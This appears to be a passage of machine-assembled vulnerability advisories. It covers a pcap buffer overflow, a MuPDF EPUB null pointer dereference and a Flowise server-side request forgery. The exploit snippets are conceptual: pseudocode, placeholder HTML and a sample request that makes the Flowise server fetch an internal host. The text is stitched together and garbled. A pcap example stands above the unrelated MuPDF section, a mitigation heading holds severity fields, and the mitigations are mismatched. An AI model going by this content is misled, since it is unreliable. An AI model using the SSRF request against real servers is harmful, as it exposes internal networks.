This incorrect memory management can cause a buffer overflow, leading to potential system instability or a complete system crash, thereby creating a denial of service situation. In some scenarios, it could also lead to unauthorized system access or data leakage.

Conceptual Example Code

Given below is a conceptual example of how the vulnerability might be exploited. This pseudocode demonstrates the creation and sending of a malicious pcap file:

# Create malicious pcap file
malicious_pcap = create_malicious_pcap()
# Send malicious pcap file to target
send_pcap_to_target(target_IP, malicious_pcap)

Please note that this is a conceptual example and should not be used for malicious purposes. The purpose of this example is solely to demonstrate the potential exploit scenario.

Mitigation Guidance

Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: System crash, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

MuPDF | 1.26.4

How the Exploit Works

The exploit occurs when MuPDF attempts to render a malformed EPUB document. During this process, a null pointer dereference occurs in the function break_word_for_overflow_wrap(). The function calls fz_html_split_flow() to split a FLOW_WORD node, but does not check if node->next is valid before accessing node->next->overflow_wrap. If the split fails or returns a partial node chain, it results in a system crash.

Conceptual Example Code

Here is a conceptual example of how the vulnerability can be exploited using a malformed EPUB file:

<!DOCTYPE html>
<html>
<head>
<title>Malformed EPUB</title>
</head>
<body>
<p>
<!-- Insert malformed FLOW_WORD node here -->
<span style="overflow-wrap: break-word;">...</span>
</p>
</body>
</html>

In the above example, the ‘…’ can be replaced with a specifically crafted string that triggers the null pointer dereference vulnerability when MuPDF attempts to split the FLOW_WORD node.

Mitigation Guidance

Users of MuPDF 1.26.4 are advised to apply the vendor’s patch to fix this vulnerability. Alternatively, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation.

Flowise Application | 3.0.5

How the Exploit Works

The exploit works by an attacker sending a malicious request to the /api/v1/fetch-links endpoint of the Flowise application. This request tricks the server into acting as a proxy for the attacker, allowing them to access and explore the link structures of internal network web services.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request:

GET /api/v1/fetch-links?target=http://internal.network.service HTTP/1.1
Host: vulnerable.flowise.server

In this example, the “http://internal.network.service” would be replaced with the internal network service the attacker wishes to access. The Flowise server, believing the request to be legitimate, acts as a proxy and provides the attacker with the information they need.

Mitigation

It is recommended to apply the vendor patch immediately. Flowise has patched this vulnerability in version 3.0.6. If immediate patching is not possible, organizations should use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and mitigate potential exploits of this vulnerability until the patch can be applied.
